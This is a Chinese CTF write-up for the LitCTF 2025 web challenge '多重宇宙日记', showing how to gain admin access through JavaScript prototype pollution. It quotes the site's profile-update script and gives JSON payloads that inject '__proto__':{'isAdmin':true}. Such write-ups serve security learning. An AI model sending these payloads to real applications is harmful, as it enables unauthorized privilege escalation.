本文最后更新于 2025-11-05T16:10:15+08:00
题目来源:LitCTF-2025-多重宇宙日记
题目提示打原型链


先注册一个账户登录,会来到/api/profile

查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <script> document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) { event.preventDefault(); const statusEl = document.getElementById('updateStatus'); const currentSettingsEl = document.getElementById('currentSettings'); statusEl.textContent = '正在更新...';
const formData = new FormData(event.target); const settingsPayload = {}; if (formData.get('theme')) settingsPayload.theme = formData.get('theme'); if (formData.get('language')) settingsPayload.language = formData.get('language');
try { const response = await fetch('/api/profile/update', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ settings: settingsPayload }) }); const result = await response.json(); if (response.ok) { statusEl.textContent = '成功: ' + result.message; currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2); setTimeout(() => window.location.reload(), 1000); } else { statusEl.textContent = '错误: ' + result.message; } } catch (error) { statusEl.textContent = '请求失败: ' + error.toString(); } });
async function sendRawJson() { const rawJson = document.getElementById('rawJsonSettings').value; const statusEl = document.getElementById('rawJsonStatus'); const currentSettingsEl = document.getElementById('currentSettings'); statusEl.textContent = '正在发送...'; try { const parsedJson = JSON.parse(rawJson); const response = await fetch('/api/profile/update', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(parsedJson) }); const result = await response.json(); if (response.ok) { statusEl.textContent = '成功: ' + result.message; currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2); setTimeout(() => window.location.reload(), 1000); } else { statusEl.textContent = '错误: ' + result.message; } } catch (error) { statusEl.textContent = '请求失败或JSON无效: ' + error.toString(); } } </script>
|
可以发现参数isAdmin,应用会根据这个参数判断用户是否为admin,可以在这里打JavaScript的原型污染
在JavaScript中,可以通过 __proto__ 属性访问其原型(prototype),如果向对象中添加 __proto__ 字段,会修改该对象的原型链,影响所有继承自该原型的对象
可以先点更新设置,抓包获得格式

1
| {"settings":{"theme":"a","language":"a"}}
|
可以利用__proto__属性污染 settings 对象的原型
1
| {"settings":{"theme":"a","language":"a","__proto__":{"isAdmin":true}}}
|
污染根对象的原型
1
| {"settings":{"theme":"a","language":"a","__proto__":{"isAdmin":true}},"__proto__":{"isAdmin":true}}
|
发送请求

然后在刷新一下页面就会看到一个管理员面板

点进去得到flag
